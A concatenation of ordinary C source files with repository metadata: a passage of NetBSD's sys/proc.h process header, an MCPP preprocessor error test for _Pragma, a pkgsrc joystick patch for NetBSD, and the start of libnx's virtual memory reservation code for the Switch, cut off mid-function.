* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)proc.h 8.15 (Berkeley) 5/19/95
*/
#ifndef _SYS_PROC_H_
#define _SYS_PROC_H_
#include <sys/lwp.h>
#if defined(_KMEMUSER) || defined(_KERNEL)
#if defined(_KERNEL_OPT)
#include "opt_multiprocessor.h"
#include "opt_kstack.h"
#include "opt_lockdebug.h"
#endif
#include <machine/proc.h> /* Machine-dependent proc substruct */
#include <machine/pcb.h>
#include <sys/aio.h>
#include <sys/idtype.h>
#include <sys/rwlock.h>
#include <sys/mqueue.h>
#include <sys/mutex.h>
#include <sys/condvar.h>
#include <sys/queue.h>
#include <sys/radixtree.h>
#include <sys/signalvar.h>
#include <sys/siginfo.h>
#include <sys/event.h>
#include <sys/specificdata.h>
#ifdef _KERNEL
#include <sys/resourcevar.h>
#else
#include <sys/time.h>
#include <sys/resource.h>
#endif
/*
* One structure allocated per session.
*/
struct session {
int s_count; /* Ref cnt; pgrps in session */
u_int s_flags;
#define S_LOGIN_SET 1 /* s_login set in this session */
struct proc *s_leader; /* Session leader */
struct vnode *s_ttyvp; /* Vnode of controlling terminal */
struct tty *s_ttyp; /* Controlling terminal */
char s_login[MAXLOGNAME]; /* Setlogin() name */
pid_t s_sid; /* Session ID (pid of leader) */
};
/*
* One structure allocated per process group.
*/
struct pgrp {
LIST_HEAD(, proc) pg_members; /* Pointer to pgrp members */
struct session *pg_session; /* Pointer to session */
pid_t pg_id; /* Pgrp id */
int pg_jobc; /*
* Number of processes qualifying
* pgrp for job control
*/
};
/*
* Autoloadable syscall definition
*/
struct sc_autoload {
u_int al_code;
const char *al_module;
};
/*
* One structure allocated per emulation.
*/
struct exec_package;
struct ras;
struct kauth_cred;
struct emul {
const char *e_name; /* Symbolic name */
const char *e_path; /* Extra emulation path (NULL if none)*/
#ifndef __HAVE_MINIMAL_EMUL
int e_flags; /* Miscellaneous flags, see above */
/* Syscall handling function */
const int *e_errno; /* Errno array */
int e_nosys; /* Offset of the nosys() syscall */
int e_nsysent; /* Number of system call entries */
#endif
struct sysent *e_sysent; /* System call array */
const uint32_t *e_nomodbits; /* sys_nosys/sys_nomodule flags
* for syscall_disestablish() */
const char * const *e_syscallnames; /* System call name array */
struct sc_autoload *e_sc_autoload; /* List of autoloadable syscalls */
/* Signal sending function */
void (*e_sendsig)(const struct ksiginfo *,
const sigset_t *);
void (*e_trapsignal)(struct lwp *, struct ksiginfo *);
char *e_sigcode; /* Start of sigcode */
char *e_esigcode; /* End of sigcode */
/* Set registers before execution */
struct uvm_object **e_sigobject;/* shared sigcode object */
void (*e_setregs)(struct lwp *, struct exec_package *,
vaddr_t);
/* Per-process hooks */
void (*e_proc_exec)(struct proc *, struct exec_package *);
void (*e_proc_fork)(struct proc *, struct lwp *, int);
void (*e_proc_exit)(struct proc *);
void (*e_lwp_fork)(struct lwp *, struct lwp *);
void (*e_lwp_exit)(struct lwp *);
#ifdef __HAVE_SYSCALL_INTERN
void (*e_syscall_intern)(struct proc *);
#else
void (*e_syscall)(void);
#endif
/* Emulation specific sysctl data */
struct sysctlnode *e_sysctlovly;
vaddr_t (*e_vm_default_addr)(struct proc *, vaddr_t, vsize_t,
int);
/* Emulation-specific hook for userspace page faults */
int (*e_usertrap)(struct lwp *, vaddr_t, void *);
size_t e_ucsize; /* size of ucontext_t */
void (*e_startlwp)(void *);
/* Dtrace syscall probe */
void (*e_dtrace_syscall)(uint32_t, register_t,
const struct sysent *, const void *,
const register_t *, int);
/* Emulation specific support for ktracing signal posts */
void (*e_ktrpsig)(int, sig_t, const sigset_t *,
const struct ksiginfo *);
};
/*
* Emulation miscellaneous flags
*/
#define EMUL_HAS_SYS___syscall 0x001 /* Has SYS___syscall */
/*
* Description of a process.
*
* This structure contains the information needed to manage a thread of
* control, known in UN*X as a process; it has references to substructures
* containing descriptions of things that the process uses, but may share
* with related processes. The process structure and the substructures
* are always addressible except for those marked "(PROC ONLY)" below,
* which might be addressible only on a processor on which the process
* is running.
*
* Field markings and the corresponding locks:
*
* a: p_auxlock
* k: ktrace_mutex
* l: proc_lock
* t: p_stmutex
* p: p_lock
* (: updated atomically
* :: unlocked, stable
*/
struct vmspace;
struct proc {
LIST_ENTRY(proc) p_list; /* l: List of all processes */
kmutex_t *p_lock; /* :: general mutex */
kcondvar_t p_waitcv; /* p: wait, stop CV on children */
kcondvar_t p_lwpcv; /* p: wait, stop CV on LWPs */
/* Substructures: */
struct kauth_cred *p_cred; /* p: Master copy of credentials */
struct filedesc *p_fd; /* :: Ptr to open files structure */
struct cwdinfo *p_cwdi; /* :: cdir/rdir/cmask info */
struct pstats *p_stats; /* :: Accounting/stats (PROC ONLY) */
struct plimit *p_limit; /* :: Process limits */
struct vmspace *p_vmspace; /* :: Address space */
struct sigacts *p_sigacts; /* :: Process sigactions */
struct aioproc *p_aio; /* p: Asynchronous I/O data */
u_int p_mqueue_cnt; /* (: Count of open message queues */
specificdata_reference
p_specdataref; /* subsystem proc-specific data */
int p_exitsig; /* l: signal to send to parent on exit */
int p_flag; /* p: PK_* flags */
int p_sflag; /* p: PS_* flags */
int p_slflag; /* p, l: PSL_* flags */
int p_lflag; /* l: PL_* flags */
int p_stflag; /* t: PST_* flags */
char p_stat; /* p: S* process status. */
char p_trace_enabled;/* p: cached by syscall_intern() */
char p_pad1[2]; /* unused */
pid_t p_pid; /* :: Process identifier. */
LIST_ENTRY(proc) p_pglist; /* l: List of processes in pgrp. */
struct proc *p_pptr; /* l: Pointer to parent process. */
LIST_ENTRY(proc) p_sibling; /* l: List of sibling processes. */
LIST_HEAD(, proc) p_children; /* l: List of children. */
LIST_HEAD(, lwp) p_lwps; /* p: List of LWPs. */
struct ras *p_raslist; /* a: List of RAS entries */
/* The following fields are all zeroed upon creation in fork. */
#define p_startzero p_nlwps
int p_nlwps; /* p: Number of LWPs */
int p_nzlwps; /* p: Number of zombie LWPs */
int p_nrlwps; /* p: Number running/sleeping LWPs */
int p_nlwpwait; /* p: Number of LWPs in lwp_wait1() */
int p_ndlwps; /* p: Number of detached LWPs */
u_int p_nstopchild; /* l: Count of stopped/dead children */
u_int p_waited; /* l: parent has waited on child */
struct lwp *p_zomblwp; /* p: detached LWP to be reaped */
struct lwp *p_vforklwp; /* p: parent LWP waiting at vfork() */
/* scheduling */
void *p_sched_info; /* p: Scheduler-specific structure */
fixpt_t p_estcpu; /* p: Time avg. value of p_cpticks */
fixpt_t p_estcpu_inherited; /* p: cpu inherited from children */
unsigned int p_forktime;
fixpt_t p_pctcpu; /* p: %cpu from dead LWPs */
struct proc *p_opptr; /* l: save parent during ptrace. */
struct ptimers *p_timers; /* Timers: real, virtual, profiling */
struct bintime p_rtime; /* p: real time */
u_quad_t p_uticks; /* t: Statclock hits in user mode */
u_quad_t p_sticks; /* t: Statclock hits in system mode */
u_quad_t p_iticks; /* t: Statclock hits processing intr */
uint64_t p_xutime; /* p: utime exposed to userspace */
uint64_t p_xstime; /* p: stime exposed to userspace */
int p_traceflag; /* k: Kernel trace points */
void *p_tracep; /* k: Trace private data */
struct vnode *p_textvp; /* :: Vnode of executable */
struct emul *p_emul; /* :: emulation information */
void *p_emuldata; /* :: per-proc emul data, or NULL */
const struct execsw *p_execsw; /* :: exec package information */
struct klist p_klist; /* p: knotes attached to proc */
LIST_HEAD(, lwp) p_sigwaiters; /* p: LWPs waiting for signals */
sigpend_t p_sigpend; /* p: pending signals */
struct lcproc *p_lwpctl; /* p, a: _lwp_ctl() information */
pid_t p_ppid; /* :: cached parent pid */
pid_t p_oppid; /* :: cached original parent pid */
char *p_path; /* :: full pathname of executable */
/*
* End area that is zeroed on creation
*/
#define p_endzero p_startcopy
/*
* The following fields are all copied upon creation in fork.
*/
#define p_startcopy p_sigctx
struct sigctx p_sigctx; /* p: Shared signal state */
u_char p_nice; /* p: Process "nice" value */
char p_comm[MAXCOMLEN+1];
/* p: basename of last exec file */
struct pgrp *p_pgrp; /* l: Pointer to process group */
vaddr_t p_psstrp; /* :: address of process's ps_strings */
u_int p_pax; /* :: PAX flags */
int p_xexit; /* p: exit code */
/*
* End area that is copied on creation
*/
#define p_endcopy p_xsig
u_short p_xsig; /* p: stop signal */
u_short p_acflag; /* p: Acc. flags; see struct lwp also */
struct mdproc p_md; /* p: Any machine-dependent fields */
vaddr_t p_stackbase; /* :: ASLR randomized stack base */
struct kdtrace_proc *p_dtrace; /* :: DTrace-specific data. */
/*
* Locks in their own cache line towards the end.
*/
kmutex_t p_auxlock /* :: secondary, longer term lock */
__aligned(COHERENCY_UNIT);
kmutex_t p_stmutex; /* :: mutex on profiling state */
krwlock_t p_reflock; /* :: lock for debugger, procfs */
};
#define p_rlimit p_limit->pl_rlimit
#define p_session p_pgrp->pg_session
#define p_pgid p_pgrp->pg_id
#endif /* _KMEMUSER || _KERNEL */
/*
* Status values.
*/
#define SIDL 1 /* Process being created by fork */
#define SACTIVE 2 /* Process is not stopped */
#define SDYING 3 /* About to die */
#define SSTOP 4 /* Process debugging or suspension */
#define SZOMB 5 /* Awaiting collection by parent */
#define SDEAD 6 /* Almost a zombie */
#define P_ZOMBIE(p) \
((p)->p_stat == SZOMB || (p)->p_stat == SDYING || (p)->p_stat == SDEAD)
/*
* These flags are kept in p_flag and are protected by p_lock. Access from
* process context only.
*/
#define PK_ADVLOCK 0x00000001 /* Process may hold a POSIX advisory lock */
#define PK_SYSTEM 0x00000002 /* System process (kthread) */
#define PK_SYSVSEM 0x00000004 /* Used SysV semaphores */
#define PK_SUGID 0x00000100 /* Had set id privileges since last exec */
#define PK_KMEM 0x00000200 /* Has kmem access */
#define PK_EXEC 0x00004000 /* Process called exec */
#define PK_NOCLDWAIT 0x00020000 /* No zombies if child dies */
#define PK_32 0x00040000 /* 32-bit process (used on 64-bit kernels) */
#define PK_CLDSIGIGN 0x00080000 /* Process is ignoring SIGCHLD */
#define PK_MARKER 0x80000000 /* Is a dummy marker process */
/*
* These flags are kept in p_sflag and are protected by p_lock. Access from
* process context only.
*/
#define PS_NOCLDSTOP 0x00000008 /* No SIGCHLD when children stop */
#define PS_RUMP_LWPEXIT 0x00000400 /* LWPs in RUMP kernel should exit for GC */
#define PS_WCORE 0x00001000 /* Process needs to dump core */
#define PS_WEXIT 0x00002000 /* Working on exiting */
#define PS_STOPFORK 0x00800000 /* Child will be stopped on fork(2) */
#define PS_STOPEXEC 0x01000000 /* Will be stopped on exec(2) */
#define PS_STOPEXIT 0x02000000 /* Will be stopped at process exit */
#define PS_COREDUMP 0x20000000 /* Process core-dumped */
#define PS_CONTINUED 0x40000000 /* Process is continued */
#define PS_STOPPING 0x80000000 /* Transitioning SACTIVE -> SSTOP */
/*
* These flags are kept in p_slflag and are protected by the proc_lock
* and p_lock. Access from process context only.
*/
#define PSL_TRACEFORK 0x00000001 /* traced process wants fork events */
#define PSL_TRACEVFORK 0x00000002 /* traced process wants vfork events */
#define PSL_TRACEVFORK_DONE \
0x00000004 /* traced process wants vfork done events */
#define PSL_TRACELWP_CREATE \
0x00000008 /* traced process wants LWP create events */
#define PSL_TRACELWP_EXIT \
0x00000010 /* traced process wants LWP exit events */
#define PSL_TRACEPOSIX_SPAWN \
0x00000020 /* traced process wants posix_spawn events */
#define PSL_TRACED 0x00000800 /* Debugged process being traced */
#define PSL_TRACEDCHILD 0x00001000 /* Report process birth */
#define PSL_CHTRACED 0x00400000 /* Child has been traced & reparented */
#define PSL_SYSCALL 0x04000000 /* process has PT_SYSCALL enabled */
#define PSL_SYSCALLEMU 0x08000000 /* cancel in-progress syscall */
/*
* Kept in p_stflag and protected by p_stmutex.
*/
#define PST_PROFIL 0x00000020 /* Has started profiling */
/*
* Kept in p_lflag and protected by the proc_lock. Access
* from process context only.
*/
#define PL_CONTROLT 0x00000002 /* Has a controlling terminal */
#define PL_PPWAIT 0x00000010 /* Parent is waiting for child exec/exit */
#define PL_SIGCOMPAT 0x00000200 /* Has used compat signal trampoline */
#define PL_ORPHANPG 0x20000000 /* Member of an orphaned pgrp */
#if defined(_KMEMUSER) || defined(_KERNEL)
/*
* Macro to compute the exit signal to be delivered.
*/
#define P_EXITSIG(p) \
(((p)->p_slflag & PSL_TRACED) ? SIGCHLD : p->p_exitsig)
/*
* Compute a wait(2) 16 bit exit status code
*/
#define P_WAITSTATUS(p) W_EXITCODE((p)->p_xexit, ((p)->p_xsig | \
(((p)->p_sflag & PS_COREDUMP) ? WCOREFLAG : 0)))
LIST_HEAD(proclist, proc); /* A list of processes */
/*
* This structure associates a proclist with its lock.
*/
struct proclist_desc {
struct proclist *pd_list; /* The list */
/*
* XXX Add a pointer to the proclist's lock eventually.
*/
};
#ifdef _KERNEL
/*
* We use process IDs <= PID_MAX until there are > 16k processes.
* NO_PGID is used to represent "no process group" for a tty.
*/
#define PID_MAX 30000
#define NO_PGID ((pid_t)-1)
#define SESS_LEADER(p) ((p)->p_session->s_leader == (p))
/*
* Flags passed to fork1().
*/
#define FORK_PPWAIT 0x0001 /* Block parent until child exit */
#define FORK_SHAREVM 0x0002 /* Share vmspace with parent */
#define FORK_SHARECWD 0x0004 /* Share cdir/rdir/cmask */
#define FORK_SHAREFILES 0x0008 /* Share file descriptors */
#define FORK_SHARESIGS 0x0010 /* Share signal actions */
#define FORK_NOWAIT 0x0020 /* Make init the parent of the child */
#define FORK_CLEANFILES 0x0040 /* Start with a clean descriptor set */
#define FORK_SYSTEM 0x0080 /* Fork a kernel thread */
extern struct proc proc0; /* Process slot for swapper */
extern u_int nprocs; /* Current number of procs */
extern int maxproc; /* Max number of procs */
#define vmspace_kernel() (proc0.p_vmspace)
extern kmutex_t proc_lock;
extern struct proclist allproc; /* List of all processes */
extern struct proclist zombproc; /* List of zombie processes */
extern struct proc *initproc; /* Process slots for init, pager */
extern const struct proclist_desc proclists[];
int proc_find_locked(struct lwp *, struct proc **, pid_t);
proc_t * proc_find_raw(pid_t);
proc_t * proc_find(pid_t); /* Find process by ID */
proc_t * proc_find_lwpid(pid_t); /* Find process by LWP ID */
struct lwp * proc_find_lwp(proc_t *, pid_t); /* Find LWP in proc by ID */
struct lwp * proc_find_lwp_unlocked(proc_t *, pid_t);
/* Find LWP, acquire proc */
struct lwp * proc_find_lwp_acquire_proc(pid_t, proc_t **);
struct pgrp * pgrp_find(pid_t); /* Find process group by ID */
void procinit(void);
void procinit_sysctl(void);
int proc_enterpgrp(struct proc *, pid_t, pid_t, bool);
void proc_leavepgrp(struct proc *);
void proc_sesshold(struct session *);
void proc_sessrele(struct session *);
void fixjobc(struct proc *, struct pgrp *, int);
int tsleep(wchan_t, pri_t, const char *, int);
int mtsleep(wchan_t, pri_t, const char *, int, kmutex_t *);
void wakeup(wchan_t);
int kpause(const char *, bool, int, kmutex_t *);
void exit1(struct lwp *, int, int) __dead;
int kill1(struct lwp *l, pid_t pid, ksiginfo_t *ksi, register_t *retval);
int do_sys_wait(int *, int *, int, struct rusage *);
int do_sys_waitid(idtype_t, id_t, int *, int *, int, struct wrusage *,
siginfo_t *);
struct proc *proc_alloc(void);
void proc0_init(void);
pid_t proc_alloc_pid(struct proc *);
void proc_free_pid(pid_t);
pid_t proc_alloc_lwpid(struct proc *, struct lwp *);
void proc_free_lwpid(struct proc *, pid_t);
void proc_free_mem(struct proc *);
void exit_lwps(struct lwp *l);
int fork1(struct lwp *, int, int, void *, size_t,
void (*)(void *), void *, register_t *);
int pgid_in_session(struct proc *, pid_t);
void cpu_lwp_fork(struct lwp *, struct lwp *, void *, size_t,
void (*)(void *), void *);
void cpu_lwp_free(struct lwp *, int);
void cpu_lwp_free2(struct lwp *);
void cpu_spawn_return(struct lwp*);
#ifdef __HAVE_SYSCALL_INTERN
void syscall_intern(struct proc *);
#endif
void md_child_return(struct lwp *);
void child_return(void *);
int proc_isunder(struct proc *, struct lwp *);
int proc_uidmatch(kauth_cred_t, kauth_cred_t);
int proc_vmspace_getref(struct proc *, struct vmspace **);
void proc_crmod_leave(kauth_cred_t, kauth_cred_t, bool);
void proc_crmod_enter(void);
int proc_getauxv(struct proc *, void **, size_t *);
int proc_specific_key_create(specificdata_key_t *, specificdata_dtor_t);
void proc_specific_key_delete(specificdata_key_t);
void proc_initspecific(struct proc *);
void proc_finispecific(struct proc *);
void * proc_getspecific(struct proc *, specificdata_key_t);
void proc_setspecific(struct proc *, specificdata_key_t, void *);
int proc_compare(const struct proc *, const struct lwp *,
const struct proc *, const struct lwp *);
/*
* Special handlers for delivering EVFILT_PROC notifications. These
* exist to handle some of the special locking considerations around
* processes.
*/
void knote_proc_exec(struct proc *);
void knote_proc_fork(struct proc *, struct proc *);
void knote_proc_exit(struct proc *);
int proclist_foreach_call(struct proclist *,
int (*)(struct proc *, void *arg), void *);
static __inline struct proc *
_proclist_skipmarker(struct proc *p0)
{
struct proc *p = p0;
while (p != NULL && p->p_flag & PK_MARKER)
p = LIST_NEXT(p, p_list);
return p;
}
#define PROC_PTRSZ(p) (((p)->p_flag & PK_32) ? sizeof(int) : sizeof(void *))
#define PROC_REGSZ(p) (((p)->p_flag & PK_32) ? \
sizeof(process_reg32) : sizeof(struct reg))
#define PROC_FPREGSZ(p) (((p)->p_flag & PK_32) ? \
sizeof(process_fpreg32) : sizeof(struct fpreg))
#define PROC_DBREGSZ(p) (((p)->p_flag & PK_32) ? \
sizeof(process_dbreg32) : sizeof(struct dbreg))
#ifndef PROC_MACHINE_ARCH
#define PROC_MACHINE_ARCH(p) machine_arch
#endif
/*
* PROCLIST_FOREACH: iterate on the given proclist, skipping PK_MARKER ones.
*/
#define PROCLIST_FOREACH(var, head) \
for ((var) = LIST_FIRST(head); \
((var) = _proclist_skipmarker(var)) != NULL; \
(var) = LIST_NEXT(var, p_list))
#ifdef KSTACK_CHECK_MAGIC
void kstack_setup_magic(const struct lwp *);
void kstack_check_magic(const struct lwp *);
#else
#define kstack_setup_magic(x)
#define kstack_check_magic(x)
#endif
extern struct emul emul_netbsd;
#endif /* _KERNEL */
/*
* Kernel stack parameters.
*
* KSTACK_LOWEST_ADDR: return the lowest address of the LWP's kernel stack,
* excluding red-zone.
*
* KSTACK_SIZE: the size kernel stack for a LWP, excluding red-zone.
*
* if <machine/proc.h> provides the MD definition, it will be used.
*/
#ifndef KSTACK_LOWEST_ADDR
#define KSTACK_LOWEST_ADDR(l) ((void *)ALIGN((struct pcb *)((l)->l_addr) + 1))
#endif
#ifndef KSTACK_SIZE
#define KSTACK_SIZE (USPACE - ALIGN(sizeof(struct pcb)))
#endif
#endif /* _KMEMUSER || _KERNEL */
#endif /* !_SYS_PROC_H_ */
|
198c24c4ca17104d0d09055a0e2f8241d3f3b6b3
|
c8b39acfd4a857dc15ed3375e0d93e75fa3f1f64
|
/Engine/Source/ThirdParty/MCPP/mcpp-2.7.2/cpp-test/test-t/e_pragma.c
|
a6fa59a8ad4fe249c583b33045932a6d62538f2f
|
[
"BSD-2-Clause",
"BSD-3-Clause",
"MIT",
"LicenseRef-scancode-proprietary-license"
] |
permissive
|
windystrife/UnrealEngine_NVIDIAGameWorks
|
c3c7863083653caf1bc67d3ef104fb4b9f302e2a
|
b50e6338a7c5b26374d66306ebc7807541ff815e
|
refs/heads/4.18-GameWorks
| 2023-03-11T02:50:08.471040
| 2022-01-13T20:50:29
| 2022-01-13T20:50:29
| 124,100,479
| 262
| 179
|
MIT
| 2022-12-16T05:36:38
| 2018-03-06T15:44:09
|
C++
|
UTF-8
|
C
| false
| false
| 370
|
c
|
e_pragma.c
|
/* e_pragma.c: Erroneous use of _Pragma() operator */
/* { dg-do preprocess } */
/* { dg-options "-std=c99 -pedantic-errors" } */
/* Operand of _Pragma() should be a string literal */
_Pragma( This is not a string literal)
/* { dg-error "_Pragma takes a parenthesized string literal| Operand of _Pragma\\(\\) is not a string literal" "" { target *-*-* } 7 } */
|
7ef023686fae3e52d3f9d3fde2ed4a6e7c70ffab
|
376e1818d427b5e4d32fa6dd6c7b71e9fd88afdb
|
/games/rocksndiamonds/patches/patch-src_libgame_joystick.h
|
f895f7f5b89ef65e16b79290d5ce9ae9734ff7ff
|
[] |
no_license
|
NetBSD/pkgsrc
|
a0732c023519650ef821ab89c23ab6ab59e25bdb
|
d042034ec4896cc5b47ed6f2e5b8802d9bc5c556
|
refs/heads/trunk
| 2023-09-01T07:40:12.138283
| 2023-09-01T05:25:19
| 2023-09-01T05:25:19
| 88,439,572
| 321
| 138
| null | 2023-07-12T22:34:14
| 2017-04-16T20:04:15
| null |
UTF-8
|
C
| false
| false
| 483
|
h
|
patch-src_libgame_joystick.h
|
$NetBSD: patch-src_libgame_joystick.h,v 1.2 2017/10/13 16:08:35 adam Exp $
Allow joystick on NetBSD.
--- src/libgame/joystick.h.orig 2017-09-12 20:17:10.000000000 +0000
+++ src/libgame/joystick.h
@@ -23,7 +23,7 @@
#define MAX_JOYSTICK_NAME_LEN 40
-#if defined(PLATFORM_FREEBSD)
+#if defined(PLATFORM_FREEBSD) || (defined(PLATFORM_NETBSD) && defined(HAVE_JOYSTICK))
#define DEV_JOYSTICK_0 "/dev/joy0"
#define DEV_JOYSTICK_1 "/dev/joy1"
#define DEV_JOYSTICK_2 "/dev/joy2"
|
3cb8552b04907ef0e7c5035aaa59a651bcf68eb9
|
131b6d5381fc3bb4403682135b77f9bce91e79f1
|
/nx/source/kernel/virtmem.c
|
fe02f45758b8712ff0439148787e04f0bb406515
|
[
"ISC"
] |
permissive
|
switchbrew/libnx
|
53deb695b9ee6f3981c559125e8fce3bce6852b7
|
4fcdb6eb34b20f1f65eb9791fe513a710a001bea
|
refs/heads/master
| 2023-08-28T17:00:22.025929
| 2023-08-11T04:11:38
| 2023-08-12T14:51:58
| 103,794,142
| 1,286
| 299
|
ISC
| 2023-09-09T12:08:36
| 2017-09-17T01:12:38
|
C
|
UTF-8
|
C
| false
| false
| 8,321
|
c
|
virtmem.c
|
#include "types.h"
#include "result.h"
#include "kernel/mutex.h"
#include "kernel/svc.h"
#include "kernel/virtmem.h"
#include "kernel/random.h"
#include "runtime/diag.h"
#include "../runtime/alloc.h"
#define SEQUENTIAL_GUARD_REGION_SIZE 0x1000
#define RANDOM_MAX_ATTEMPTS 0x200
typedef struct {
uintptr_t start;
uintptr_t end;
} MemRegion;
struct VirtmemReservation {
VirtmemReservation *next;
VirtmemReservation *prev;
MemRegion region;
};
static Mutex g_VirtmemMutex;
static MemRegion g_AliasRegion;
static MemRegion g_HeapRegion;
static MemRegion g_AslrRegion;
static MemRegion g_StackRegion;
static VirtmemReservation *g_Reservations;
static bool g_IsLegacyKernel;
uintptr_t __attribute__((weak)) __libnx_virtmem_rng(void) {
return (uintptr_t)randomGet64();
}
static Result _memregionInitWithInfo(MemRegion* r, InfoType id0_addr, InfoType id0_sz) {
u64 base;
Result rc = svcGetInfo(&base, id0_addr, CUR_PROCESS_HANDLE, 0);
if (R_SUCCEEDED(rc)) {
u64 size;
rc = svcGetInfo(&size, id0_sz, CUR_PROCESS_HANDLE, 0);
if (R_SUCCEEDED(rc)) {
r->start = base;
r->end = base + size;
}
}
return rc;
}
static void _memregionInitHardcoded(MemRegion* r, uintptr_t start, uintptr_t end) {
r->start = start;
r->end = end;
}
NX_INLINE bool _memregionIsInside(MemRegion* r, uintptr_t start, uintptr_t end) {
return start >= r->start && end <= r->end;
}
NX_INLINE bool _memregionOverlaps(MemRegion* r, uintptr_t start, uintptr_t end) {
return start < r->end && r->start < end;
}
NX_INLINE bool _memregionIsMapped(uintptr_t start, uintptr_t end, uintptr_t guard, uintptr_t* out_end) {
// Adjust start/end by the desired guard size.
start -= guard;
end += guard;
// Query memory properties.
MemoryInfo meminfo;
u32 pageinfo;
Result rc = svcQueryMemory(&meminfo, &pageinfo, start);
if (R_FAILED(rc))
diagAbortWithResult(MAKERESULT(Module_Libnx, LibnxError_BadQueryMemory));
// Return true if there's anything mapped.
uintptr_t memend = meminfo.addr + meminfo.size;
if (meminfo.type != MemType_Unmapped || end > memend) {
if (out_end) *out_end = memend + guard;
return true;
}
return false;
}
NX_INLINE bool _memregionIsReserved(uintptr_t start, uintptr_t end, uintptr_t guard, uintptr_t* out_end) {
// Adjust start/end by the desired guard size.
start -= guard;
end += guard;
// Go through each reservation and check if any of them overlap the desired address range.
for (VirtmemReservation *rv = g_Reservations; rv; rv = rv->next) {
if (_memregionOverlaps(&rv->region, start, end)) {
if (out_end) *out_end = rv->region.end + guard;
return true;
}
}
return false;
}
static void* _memregionFindRandom(MemRegion* r, size_t size, size_t guard_size) {
// Page align the sizes.
size = (size + 0xFFF) &~ 0xFFF;
guard_size = (guard_size + 0xFFF) &~ 0xFFF;
// Ensure the requested size isn't greater than the memory region itself...
uintptr_t region_size = r->end - r->start;
if (size > region_size)
return NULL;
// Main allocation loop.
uintptr_t aslr_max_page_offset = (region_size - size) >> 12;
for (unsigned i = 0; i < RANDOM_MAX_ATTEMPTS; i ++) {
// Calculate a random memory range outside reserved areas.
uintptr_t cur_addr;
for (;;) {
uintptr_t page_offset = __libnx_virtmem_rng() % (aslr_max_page_offset + 1);
cur_addr = (uintptr_t)r->start + (page_offset << 12);
// Avoid mapping within the alias region.
if (_memregionOverlaps(&g_AliasRegion, cur_addr, cur_addr + size))
continue;
// Avoid mapping within the heap region.
if (_memregionOverlaps(&g_HeapRegion, cur_addr, cur_addr + size))
continue;
// Found it.
break;
}
// Check that there isn't anything mapped at the desired memory range.
if (_memregionIsMapped(cur_addr, cur_addr + size, guard_size, NULL))
continue;
// Check that the desired memory range doesn't overlap any reservations.
if (_memregionIsReserved(cur_addr, cur_addr + size, guard_size, NULL))
continue;
// We found a suitable address!
return (void*)cur_addr;
}
return NULL;
}
void virtmemSetup(void) {
Result rc;
// Retrieve memory region information for the reserved alias region.
rc = _memregionInitWithInfo(&g_AliasRegion, InfoType_AliasRegionAddress, InfoType_AliasRegionSize);
if (R_FAILED(rc)) {
// Wat.
diagAbortWithResult(MAKERESULT(Module_Libnx, LibnxError_WeirdKernel));
}
// Retrieve memory region information for the reserved heap region.
rc = _memregionInitWithInfo(&g_HeapRegion, InfoType_HeapRegionAddress, InfoType_HeapRegionSize);
if (R_FAILED(rc)) {
// Wat.
diagAbortWithResult(MAKERESULT(Module_Libnx, LibnxError_BadGetInfo_Heap));
}
// Retrieve memory region information for the aslr/stack regions if available [2.0.0+]
rc = _memregionInitWithInfo(&g_AslrRegion, InfoType_AslrRegionAddress, InfoType_AslrRegionSize);
if (R_SUCCEEDED(rc)) {
rc = _memregionInitWithInfo(&g_StackRegion, InfoType_StackRegionAddress, InfoType_StackRegionSize);
if (R_FAILED(rc))
diagAbortWithResult(MAKERESULT(Module_Libnx, LibnxError_BadGetInfo_Stack));
}
else {
// [1.0.0] doesn't expose aslr/stack region information so we have to do this dirty hack to detect it.
// Forgive me.
g_IsLegacyKernel = true;
rc = svcUnmapMemory((void*)0xFFFFFFFFFFFFE000UL, (void*)0xFFFFFE000UL, 0x1000);
if (R_VALUE(rc) == KERNELRESULT(InvalidMemoryState)) {
// Invalid src-address error means that a valid 36-bit address was rejected.
// Thus we are 32-bit.
_memregionInitHardcoded(&g_AslrRegion, 0x200000ull, 0x100000000ull);
_memregionInitHardcoded(&g_StackRegion, 0x200000ull, 0x40000000ull);
}
else if (R_VALUE(rc) == KERNELRESULT(InvalidMemoryRange)) {
// Invalid dst-address error means our 36-bit src-address was valid.
// Thus we are 36-bit.
_memregionInitHardcoded(&g_AslrRegion, 0x8000000ull, 0x1000000000ull);
_memregionInitHardcoded(&g_StackRegion, 0x8000000ull, 0x80000000ull);
}
else {
// Wat.
diagAbortWithResult(MAKERESULT(Module_Libnx, LibnxError_WeirdKernel));
}
}
}
void virtmemLock(void) {
mutexLock(&g_VirtmemMutex);
}
void virtmemUnlock(void) {
mutexUnlock(&g_VirtmemMutex);
}
void* virtmemFindAslr(size_t size, size_t guard_size) {
if (!mutexIsLockedByCurrentThread(&g_VirtmemMutex)) return NULL;
return _memregionFindRandom(&g_AslrRegion, size, guard_size);
}
void* virtmemFindStack(size_t size, size_t guard_size) {
if (!mutexIsLockedByCurrentThread(&g_VirtmemMutex)) return NULL;
return _memregionFindRandom(&g_StackRegion, size, guard_size);
}
void* virtmemFindCodeMemory(size_t size, size_t guard_size) {
if (!mutexIsLockedByCurrentThread(&g_VirtmemMutex)) return NULL;
// [1.0.0] requires CodeMemory to be mapped within the stack region.
return _memregionFindRandom(g_IsLegacyKernel ? &g_StackRegion : &g_AslrRegion, size, guard_size);
}
VirtmemReservation* virtmemAddReservation(void* mem, size_t size) {
if (!mutexIsLockedByCurrentThread(&g_VirtmemMutex)) return NULL;
VirtmemReservation* rv = (VirtmemReservation*)__libnx_alloc(sizeof(VirtmemReservation));
if (rv) {
rv->region.start = (uintptr_t)mem;
rv->region.end = rv->region.start + size;
rv->next = g_Reservations;
rv->prev = NULL;
g_Reservations = rv;
if (rv->next)
rv->next->prev = rv;
}
return rv;
}
void virtmemRemoveReservation(VirtmemReservation* rv) {
